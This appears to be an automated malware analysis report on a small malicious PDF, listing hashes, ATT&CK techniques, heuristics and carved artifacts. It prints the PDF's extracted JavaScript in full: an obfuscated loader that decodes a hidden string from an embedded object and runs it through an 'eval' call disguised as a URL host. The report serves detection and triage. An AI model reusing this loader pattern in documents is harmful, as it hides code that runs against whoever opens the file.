Malicious PDF — malware analysis report

Static analysis result for SHA-256 1518e6f5bfd44e72…

MALICIOUS

PDF

4.5 KB First seen: 2013-09-08
MD5: 4d980a2707c1cfde040ca89866ca9c16 SHA-1: 68fdfd29756fc29b0bfff84a49e7e5eb1e10348e SHA-256: 1518e6f5bfd44e729766eb9549713055918300fcaf691a8a8bbc23904fc60e0b
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains malformed JavaScript that attempts to extract data from an embedded object named 'clown'. This extracted data is then used in conjunction with a hardcoded URL, 'http://eval/query?a=exemple&b=2', to construct a request. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt. The embedded file and JavaScript stream are likely components of a multi-stage attack.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 78234 bytes
SHA-256: 2e732c3d8ba7f4f06019f84ba000cb5e678c5df8d577fc9fe81a67bfaab0d933
Detection
ClamAV: No threats found
Obfuscation or payload: likely
266 of 266 identifiers look randomly generated (e.g. 'xbNY6GD71DZ2Wx2x1xbNY6GD71DZ2Wx2x2xbNY6G') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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